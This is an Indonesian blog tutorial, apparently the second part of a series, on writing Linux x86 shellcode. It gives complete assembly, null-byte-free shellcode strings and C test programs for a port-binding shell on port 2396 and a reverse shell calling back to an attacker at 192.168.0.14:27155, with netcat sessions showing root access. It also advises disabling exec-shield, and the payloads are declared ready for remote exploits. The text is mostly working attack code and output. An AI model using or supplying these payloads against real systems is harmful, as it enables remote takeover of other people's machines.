Laman



Tips & Trik Mempercantik Blog

Infolinks In Text Ads

Diposting oleh heart break Sabtu, 16 Juli 2011

Bila anda sudah membaca artikel sebelumnya belajar membuat shellcode part 1 anda tentu sudah mengerti tentang system call untuk mengeksekusi shell (execve), jadi tidak perlu saya jelaskan lagi di sini.
System call dup2 sangat sederhana, register yang harus diisi adalah EBX diisi dengan client socket handler, ECX diisi file handler untuk stdin,stdout dan stderr, dan terakhir adalah EAX yang harus diisi dengan nomor system call, 63.
Pada system call keluarga socket programming, socket(), bind(), listen(), accept() semua argumen disimpan dalam bentuk blok memori secara berurutan dengan alamatnya disimpan pada register ECX. Sebagai contoh, untuk socket(2,1,0), register ECX harus berisi alamat blok memori yang berisi byte berikut: 0×02 0×01 0×00.
Mengambil Opcode untuk Shellcode
Langkah berikutnya adalah kita harus compile dan link source assembly tersebut. Setelah itu baru kita disassemble dengan objdump agar bisa diekstrak opcodenya.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ nasm -f elf portbind.asm
$ ld -o portbind_asm portbind.o
$ objdump -d ./portbind_asm
 
./portbind_asm:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       31 db                   xor    %ebx,%ebx
 8048064:       31 d2                   xor    %edx,%edx
 8048066:       50                      push   %eax
 8048067:       6a 01                   push   $0x1
 8048069:       6a 02                   push   $0x2
 804806b:       89 e1                   mov    %esp,%ecx
 804806d:       fe c3                   inc    %bl
 804806f:       b0 66                   mov    $0x66,%al
 8048071:       cd 80                   int    $0x80
 8048073:       89 c6                   mov    %eax,%esi
 8048075:       52                      push   %edx
 8048076:       66 68 09 5c             pushw  $0x5c09
 804807a:       81 c2 02 00 00 00       add    $0x2,%edx
 8048080:       66 52                   push   %dx
 8048082:       89 e1                   mov    %esp,%ecx
 8048084:       6a 10                   push   $0x10
 8048086:       51                      push   %ecx
 8048087:       56                      push   %esi
 8048088:       89 e1                   mov    %esp,%ecx
 804808a:       fe c3                   inc    %bl
 804808c:       b0 66                   mov    $0x66,%al
 804808e:       cd 80                   int    $0x80
 8048090:       31 d2                   xor    %edx,%edx
 8048092:       52                      push   %edx
 8048093:       56                      push   %esi
 8048094:       89 e1                   mov    %esp,%ecx
 8048096:       b3 04                   mov    $0x4,%bl
 8048098:       b0 66                   mov    $0x66,%al
 804809a:       cd 80                   int    $0x80
 804809c:       52                      push   %edx
 804809d:       52                      push   %edx
 804809e:       56                      push   %esi
 804809f:       89 e1                   mov    %esp,%ecx
 80480a1:       fe c3                   inc    %bl
 80480a3:       b0 66                   mov    $0x66,%al
 80480a5:       cd 80                   int    $0x80
 80480a7:       89 c3                   mov    %eax,%ebx
 80480a9:       31 c9                   xor    %ecx,%ecx
 80480ab:       b0 3f                   mov    $0x3f,%al
 80480ad:       cd 80                   int    $0x80
 80480af:       41                      inc    %ecx
 80480b0:       b0 3f                   mov    $0x3f,%al
 80480b2:       cd 80                   int    $0x80
 80480b4:       41                      inc    %ecx
 80480b5:       b0 3f                   mov    $0x3f,%al
 80480b7:       cd 80                   int    $0x80
 80480b9:       52                      push   %edx
 80480ba:       68 2f 2f 73 68          push   $0x68732f2f
 80480bf:       68 2f 62 69 6e          push   $0x6e69622f
 80480c4:       89 e3                   mov    %esp,%ebx
 80480c6:       52                      push   %edx
 80480c7:       53                      push   %ebx
 80480c8:       89 e1                   mov    %esp,%ecx
 80480ca:       b0 0b                   mov    $0xb,%al
 80480cc:       cd 80                   int    $0x80
Byte Terlarang di Shellcode
Dari hasil objdump di atas terlihat ada byte yang terlarang, yaitu 0×00 yang merupakan bagian dari opcode instruksi: “add edx,2″. Kenapa byte 0×0 tidak boleh ada? Sebab ketika kita menginjeksi string, maka byte 0×0 akan dianggap sebagai akhir sebuah string, akibatnya shellcode kita tidak akan terinjeksi dengan lengkap dan terpotong pada byte 0×0 tersebut.
Agar byte 0×0 tidak ada, maka kita harus mengganti “add edx,2″ dengan instruksi lain yang ekivalen, artinya instruksi pengganti tersebut harus berakibat pada bertambahnya nilai edx dengan 2. Saya akan mengganti instruksi “add edx,2″ dengan instruksi “inc edx” sebanyak 2 kali. Mari kita lihat perbedaan antara opcode “add edx,2″ dengan “inc edx”.
 804807a:       81 c2 02 00 00 00       add    edx, 2
 804807a:       42                      inc    edx
 804807b:       42                      inc    edx
Perhatikan kedua opcode di atas. Ada dua keuntungan yang kita dapatkan dengan mengganti instruksi add. Pertama adalah tidak ada lagi byte 0×0. Kedua adalah ukurannya lebih hemat, instruksi “inc edx” hanya berukuran 1 byte, jadi total berukuran 2 byte. Sedangkan instruksi “add edx, 2″ berukuran 6 byte, kita hemat 4 byte untuk mendapat efek yang sama.
Oke setelah kita menyingkirkan byte terlarang, kita harus mengekstrak opcodenya untuk menjadi shellcode. Kita akan pakai lagi cara yang saya pakai di artikel part 1 untuk dengan cepat meng-ekstrak opcode dari output objdump.
$ objdump -d portbind_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Setelah kita dapatkan shellcode, mari kita coba lagi pakai perl dan ndisasm, kalau hasil disassemblernya sama dengan source assembly awal, berarti shellcode tersebut sudah benar.
$ perl -e 'print "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'|ndisasm -u -
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  31D2              xor edx,edx
00000006  50                push eax
00000007  6A01              push byte +0x1
00000009  6A02              push byte +0x2
0000000B  89E1              mov ecx,esp
0000000D  FEC3              inc bl
0000000F  B066              mov al,0x66
00000011  CD80              int 0x80
00000013  89C6              mov esi,eax
00000015  52                push edx
00000016  6668095C          push word 0x5c09
0000001A  42                inc edx
0000001B  42                inc edx
0000001C  6652              push dx
0000001E  89E1              mov ecx,esp
00000020  6A10              push byte +0x10
00000022  51                push ecx
00000023  56                push esi
00000024  89E1              mov ecx,esp
00000026  FEC3              inc bl
00000028  B066              mov al,0x66
0000002A  CD80              int 0x80
0000002C  31D2              xor edx,edx
0000002E  52                push edx
0000002F  56                push esi
00000030  89E1              mov ecx,esp
00000032  B304              mov bl,0x4
00000034  B066              mov al,0x66
00000036  CD80              int 0x80
00000038  52                push edx
00000039  52                push edx
0000003A  56                push esi
0000003B  89E1              mov ecx,esp
0000003D  FEC3              inc bl
0000003F  B066              mov al,0x66
00000041  CD80              int 0x80
00000043  89C3              mov ebx,eax
00000045  31C9              xor ecx,ecx
00000047  B03F              mov al,0x3f
00000049  CD80              int 0x80
0000004B  41                inc ecx
0000004C  B03F              mov al,0x3f
0000004E  CD80              int 0x80
00000050  41                inc ecx
00000051  B03F              mov al,0x3f
00000053  CD80              int 0x80
00000055  52                push edx
00000056  682F2F7368        push dword 0x68732f2f
0000005B  682F62696E        push dword 0x6e69622f
00000060  89E3              mov ebx,esp
00000062  52                push edx
00000063  53                push ebx
00000064  89E1              mov ecx,esp
00000066  B00B              mov al,0xb
00000068  CD80              int 0x80
Oke selamat, shellcodenya sudah benar. Setelah itu biar lebih afdol, kita harus menguji dengan program C berikut.
Jangan lupa untuk mematikan exec shield dengan cara “echo 0 > /proc/sys/kernel/exec-shield” sebelum program C di bawah ini bisa dieksekusi. Bila tidak anda akan mendapatkan segmentation fault error.
1
2
3
4
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\x09\x5c\x42\x42\x66\x52\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x31\xd2\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void) {
        asm("jmp shellcode");
}
$ gcc portbindshellcode.c -o portbindshellcode
$ sudo ./portbindshellcode
Setelah dijalankan sebagai root, di console lain saya coba koneksi dengan netcat ke port 2396.
$ nc localhost 2396
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
Berhasil! Selamat, port binding shellcode kini sudah siap dipakai untuk remote exploit.
Membuat Reverse Connecting Shellcode
Baiklah kini kita menginjak pada pembuatan shellode bertipe reverse connecting. Dalam shellcode jenis ini, shellcode bertindak sebagai client dan attacker menyiapkan sebuah server yang siap dihubungi di IP dan port tertentu. Sebagai simulasi kita asumsikan IP dan port attacker adalah 192.168.0.14:27155 dan IP komputer target adalah 192.168.0.10.
Karena socket programming di sisi client lebih sederhana dan mirip dengan port binding, saya langsung saja membuat shellcode ini dalam bahasa C.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <sys/socket.h>
#include <netinet/in.h>
 
int main(void) {
        char *shell[2];
        int soc;
        int remote;
        struct sockaddr_in serv_addr;
 
        serv_addr.sin_family=2; // internet address
        serv_addr.sin_addr.s_addr = 0x0E00A8C0; // 192.168.0.14
        serv_addr.sin_port=0x136A; // port 27155
        soc = socket(2,1,0);
        remote = connect(soc,(struct sockaddr*)&serv_addr,16);
        dup2(soc,0);
        dup2(soc,1);
        dup2(soc,2);
        shell[0] = "/bin/sh";
        shell[1] = NULL;
        execve(shell[0],shell,0);
}
Sebelum kita compile dan eksekusi, kita siapkan dulu di komputer attacker server yang listen di port 27155 dan port 192.168.0.14. Sistem operasi komputer attacker adalah windows dan attacker memakai netcat for windows untuk membuat server sederhana seperti di bawah ini.
C:\>nc -lvn -p 27155
listening on [any] 27155 ...
Oke setelah server attacker sudah listen di 192.168.0.14:27155. Kini kita compile dan eksekusi program reverse sebagai root untuk mensimulasikan exploit yang mendapatkan root shell.
$ gcc reverse.c -o reverse
$ sudo ./reverse
Sekarang perhatikan apa yang terjadi pada komputer attacker setelah program reverse tersebut dijalankan.
C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 58855
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
pwd
/home/admin
exit
Ada koneksi masuk dari ip komputer target (192.168.0.10). Setelah koneksi terbentuk, attacker bisa mulai mengirimkan command untuk dieksekusi di komputer target.
Reverse Connecting dalam Assembly
Tidak ada hal baru dalam shellcode ini dibandingkan dengan shellcode port binding sebelumnya, jadi tidak ada yang perlu dijelaskan lebih jauh lagi. Langsung saja kita membuat program yang sama dalam bahasa assembly.
BITS 32
section .text
global _start
_start:
xor eax,eax
xor ebx,ebx
xor edx,edx
 
;soc=socket(2,1,0)
push eax ; push 0
push byte 0x1 ; push 1
push byte 0x2 ; push 2
mov ecx,esp ; ECX = address of [2,1,0]
inc bl ; EBX=1 means socket() call
mov al,102
int 0x80
 
; ESI = soc socket handler
mov esi,eax 
 
;remote = connect(soc,(struct sockaddr*)&serv_addr,16);
push edx ; push 0
push long 0x0E00A8C0 ; push sin_addr.s_addr value
push word 0x136A ; push sin_port value
xor ecx,ecx ; ecx = 0
mov cl,2 ; cx = 2
push word cx ; push sin_family value
mov ecx,esp ; ECX = address of struct sockaddr
push byte 16 ; push 16
push ecx ; push address of struct sockaddr
push esi ; push soc handler
mov ecx,esp ; ECX = address of [soc,&serv_addr,16]
mov bl,3 ; EBX=3 means connect()
mov al,102
int 0x80
 
; EBX = remote socket handler
mov ebx,esi
 
;dup2(soc,0)
xor ecx,ecx ; ECX = 0 = stdin file handler
mov al,63
int 0x80
 
;dup2(soc,1)
inc ecx ; ECX = 1 = stdout file handler
mov al,63
int 0x80
 
;dup(soc,2)
inc ecx ; ECX = 2 = stderr file handler
mov al,63
int 0x80
 
;execve "/bin//sh"
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al,0x0b
int 0x80
Tidak ada yang perlu saya jelaskan karena sama dengan shellcode port binding dan saya juga sudah memberi komentar untuk memperjelas di source di atas. Kita langsung saja compile dan link program assembly tersebut.
$ nasm -f elf reverse.asm
$ ld -o reverse reverse.o
Sekarang kita harus mendisassemble program tersebut dan mengambil opcodenya untuk dirangkai menjadi shellcode dengan cara yang seperti port binding shellcode sebelumnya.
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xc0\xa8\x00\x0e\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Menghilangkan Byte Terlarang
Oke kini kita telah dapatkan shellcodenya. Tapi kita periksa dulu apakah ada byte terlarang di dalamnya? Ternyata ada byte 0×00 dalam shellcode tersebut yang berasal dari instruksi “push long 0x0E00A8C0″. Byte 0×00 tidak terhindarkan karena IP attacker mengandung 0, yaitu 192.168.0.14. Oleh karena itu kita harus menyiasatinya agar tidak muncul byte 0×00.
Saya akan mengganti instruksi tersebut menjadi dua push, yaitu push 0x0E00 dan push 0xA8C0. Push nilai 0x0E00 tidak bisa dilakukan secara langsung karena itu akan menghasilkan opcode yang mengandung 0×00. Oleh karena itu saya harus membuat nilai 0x0E00 tanpa melibatkan angka 00 dengan cara:
; DX = 0
mov dl,0x0E ; DX = 0x000E
shl dx,8 ; 000E digeser ke kiri 8 kali menjadi 0E00
Dengan mengganti menjadi instruksi mov dan shl kita terhindar dari byte terlarang 0×00. Berikut adalah opcode dari instruksi pengganti “push long 0x0E00A8C0″. Pada opcode tersebut terlihat lebih banyak space yang dibutuhkan, tetapi di sana tidak mengandung byte terlarang 0×00.
b2 0e                   mov    dl,0x0E
66 c1 e2 08             shl    dx,8
66 52                   push   dx
66 68 c0 a8             push word  0xA8C0
Setelah mengganti “push long 0x0E00A8C0″ dengan 4 baris instruksi di atas, shellcode yang baru adalah seperti di bawah ini:
$ objdump -d reverse|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
Kini kita siap mengujinya dengan membuat program dalam bahasa C berikut ini:
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\xb2\x0e\x66\xc1\xe2\x08\x66\x52\x66\x68\xc0\xa8\x66\x68\x6a\x13\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x89\xf3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
 
int main(void) {
        asm("jmp shellcode");
}
Mari kita compile dan jalankan program dalam bahasa C di atas. Tapi jangan lupa sebelumnya di komputer attacker harus dijalankan server yang listen di 192.168.0.14:27155.
$ gcc reverseshellcode.c -o reverseshellcode
$ sudo ./reverseshellcode
Mari kita lihat apa yang terjadi pada console attacker setelah shellcode dieksekusi.
C:\>nc -lvn -p 27155
listening on [any] 27155 ...
connect to [192.168.0.14] from (UNKNOWN) [192.168.0.10] 59039
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
whoami
root
pwd
/home/admin
exit
 
Berhasil! Kini kita telah berhasil membuat shellcode yang bisa dipakai untuk remote shellcode. Selamat anda telah berhasil membuat 2 macam shellcode yang bisa dipakai untuk remote exploit, yaitu port binding dan reverse connecting. Dalam artikel berikutnya saya akan membahas mengenai stack based buffer overflow exploit, di sana kita bisa memakai shellcode yang kita buat di artikel ini.

Posting Komentar